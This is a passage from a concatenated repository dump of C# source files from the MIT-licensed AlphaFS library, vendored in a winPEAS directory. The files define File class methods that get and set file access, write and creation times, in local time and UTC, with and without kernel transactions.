Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to obtain access date and time information. /// A structure set to the date and time that the specified file was last accessed. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path) { return GetLastAccessTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to obtain access date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last accessed. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetLastAccessTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to obtain access date and time information. /// A structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastAccessTimeUtc(string path) { return GetLastAccessTimeCore(null, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to obtain access date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastAccessTimeUtc(string path, PathFormat pathFormat) { return GetLastAccessTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The transaction. /// The file for which to obtain access date and time information. /// A structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path) { return GetLastAccessTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The transaction. /// The file for which to obtain access date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetLastAccessTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the date and time that the specified file was last written to. /// The file for which to obtain write date and time information. /// A structure set to the date and time that the specified file was last written to. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastWriteTime(string path) { return GetLastWriteTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified file was last written to. /// The file for which to obtain write date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last written to. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastWriteTime(string path, PathFormat pathFormat) { return GetLastWriteTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time that the specified file was last written to. /// The transaction. /// The file for which to obtain write date and time information. /// A structure set to the date and time that the specified file was last written to. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path) { return GetLastWriteTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified file was last written to. /// The transaction. /// The file for which to obtain write date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last written to. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetLastWriteTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to. /// The file for which to obtain write date and time information. /// A structure set to the date and time that the specified file was last written to. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastWriteTimeUtc(string path) { return GetLastWriteTimeCore(null, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to. /// The file for which to obtain write date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last written to. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastWriteTimeUtc(string path, PathFormat pathFormat) { return GetLastWriteTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to. /// The transaction. /// The file for which to obtain write date and time information. /// A structure set to the date and time that the specified file was last written to. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path) { return GetLastWriteTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to. /// The transaction. /// The file for which to obtain write date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last written to. This value is expressed in UTC time. [SecurityCritical] public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetLastWriteTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created. /// The transaction. /// The file for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime) { SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS 